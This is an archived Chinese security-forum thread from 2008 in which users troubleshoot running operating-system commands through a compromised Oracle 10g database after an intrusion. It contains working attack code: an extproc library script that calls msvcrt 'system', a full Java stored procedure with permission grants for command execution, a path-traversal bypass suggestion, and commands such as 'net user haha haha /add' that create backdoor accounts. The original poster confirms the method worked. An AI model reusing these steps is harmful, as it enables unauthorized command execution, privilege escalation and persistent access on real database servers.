邪恶八进制信息安全团队技术讨论组's Archiver

mon 2008-2-24 22:27

[讨论]Oracle入侵中遇到的问题

议题作者:mon
近日入侵一数据库,系统环境为 win2k3+Oracle 10g(R2).获得了system的密码.用sqlplus连接.创建Oracle Execute Command Sql Script 以执行系统命令.
Oracle Execute Command Sql Script 如下:
[color=Red]CREATE OR REPLACE LIBRARY exec_shell AS 'D:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors [/color]

可是执行命令时却出现这样的错误:
[color=Red]SQL> exec oracmd.exec ('net user haha haha /add');
BEGIN oracmd.exec ('net user haha haha /add'); END;

*
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1[/color]

不知出什么问题了.请高手解答.

[[i] 本帖最后由 mon 于 2008-3-2 01:20 编辑 [/i]]

neversaylove 2008-3-1 21:36

如果我没有理解错,你应该想说2k3而不是3k2,然后问题好想在c:\winnt\system32上,应该是c:\windows\system32吧
我懂的不多,说错了莫笑哈

mon 2008-3-2 01:24

哎呀 ! 过于马虎.写错了一点.系统的确是win2k3 sp2才对.并且系统装在D盘.用Oracle Execute Command Sql Script 没注意到winnt.不过改了还是老样子.是不是10g现在不支持这个Oracle Execute Command Sql Script 了?

poison 2008-3-2 13:56

貌似是ORACLE把外部库的位置限制在了ORACLE_HOME中  
原则上可以用UTL_FILE复制DLL到限制目录中 可俺没成功过

我都是用JAVA执行OS命令

mickey 2008-3-2 15:06

貌似可以用../../../绕过ORACLE_HOME限制

poison 2008-3-2 17:36

人说已经修复不可以绕过了
我的

小拳头 2008-8-24 02:35

顶上去怎么还是没有解决

怎么还是没有解决我也是这样的问题

28度的冰 2008-8-24 06:28

[quote]原帖由 [i]mickey[/i] 于 2008-3-2 15:06 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=139309&ptid=32313][img]images/common/back.gif[/img][/url]
貌似可以用../../../绕过ORACLE_HOME限制 [/quote]

mickey都回帖了。我不回帖我就太傻逼了。
凑凑热闹

用java搞
[b]第一步[/b][code]CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
  public static void executeCommand(String command) {
try {
  String[] finalCommand;
  if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";  // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";  // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
  }
  else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
  }
  
  final Process pr = Runtime.getRuntime().exec(finalCommand);
  pr.waitFor();

  new Thread(new Runnable(){
public void run() {
  BufferedReader br_in = null;
  try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
  System.out.println("Process out :" + buff);
  try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
  }
  catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
  }
  finally {
try {
  br_in.close();
} catch (Exception ex) {}
  }
}
  }).start();
  
  new Thread(new Runnable(){
public void run() {
  BufferedReader br_err = null;
  try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
  System.out.println("Process err :" + buff);
  try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
  }
  catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
  }
  finally {
try {
  br_err.close();
} catch (Exception ex) {}
  }
}
  }).start();
}
catch (Exception ex) {
  System.out.println(ex.getLocalizedMessage());
}
  }
  
  public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
  return true;
else
  return false;
  }

};
[/code][b]第二步[/b][code]CREATE OR REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';[/code][b]第三步[/b] 给权限,如果是system用户就是下面,不是你自己改。[code]EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');[/code][b]第四步[/b] 取结果[code]DECLARE
  l_output DBMS_OUTPUT.chararr;
  l_lines  INTEGER := 1000;
BEGIN
  DBMS_OUTPUT.enable(1000000);
  DBMS_JAVA.set_output(1000000);

  host_command('dir C:\');

  DBMS_OUTPUT.get_lines(l_output, l_lines);
END;[/code]

[[i] 本帖最后由 28度的冰 于 2008-8-24 19:43 编辑 [/i]]

小拳头 2008-8-24 09:50

楼上给的代码不错

刚才测试了一下最后一取结果的代码出错了。
如图:
[attach]12189[/attach]
这是为什么?如何解决?
最后问下如果用DLL的方法怎么搞?

[[i] 本帖最后由 小拳头 于 2008-8-24 10:00 编辑 [/i]]

xln28118 2008-8-24 10:12

同问,请帮忙解决下

SQL> DECLARE
  2  l_output DBMS_OUTPUT.chararr;
  3  BEGIN
  4  DBMS_OUTPUT.enable(1000000);
  5  DBMS_JAVA.set_output(1000000);
  6  host_command('net user qq qq /add');
  7  DBMS_OUTPUT.get_lines(l_output, l_lines);
  8  END;
  9  /
DBMS_OUTPUT.get_lines(l_output, l_lines);
                                *
ERROR 位于第 7 行:
ORA-06550: 第 7 行, 第 33 列:
PLS-00201: 必须说明标识符 'L_LINES'
ORA-06550: 第 7 行, 第 1 列:
PL/SQL: Statement ignored

28度的冰 2008-8-24 19:44

不好意思,少了一行。编辑了。

小拳头 2008-8-24 21:28

上面的是JAVA方法提权DLL的为什么老是出错

上面的是JAVA方法提权DLL的为什么老是出错DLL方法提的话到底应该怎么做?
感谢28度的火同学再次感谢,激动之情难以言表,3Q。

[[i] 本帖最后由 小拳头 于 2008-8-25 09:05 编辑 [/i]]

小拳头 2008-8-26 13:08

谁能发一个DLL提权的完整代码上来

谁能发一个DLL提权的完整代码上来,网上的不是这里错就是那里错。我插!

mon 2008-9-2 11:02

如poison所说,ORACLE把外部库的位置限制在了ORACLE_HOME中 。所以要复制dll到限制目录中,即ORACLE_HOME的目录。代码改成以下样子:
CREATE OR REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors

SQL> exec oracmd.exec ('net user haha haha /add');
这样执行就成功了。

小拳头 2008-9-2 11:21

呵呵再贴图说明一下为什么会出现如下图的问题

那是因为第2行没有加杠,主要是为了方便不懂ORC的朋友感谢楼上的朋友!

black_music 2008-9-2 14:36

reader.....

luoruo 2008-9-18 07:10

LZ 你可以直接用 SQLPLUS   连接system账号 恭喜搂主中特等将,顺便说一下,他的Orcal是服务方式启动的话,把system权限改到底权限就错作不了了 问题错综复杂! 具体可以PM我详细情况

页: [1]
© 1999-2008 EvilOctal Security Team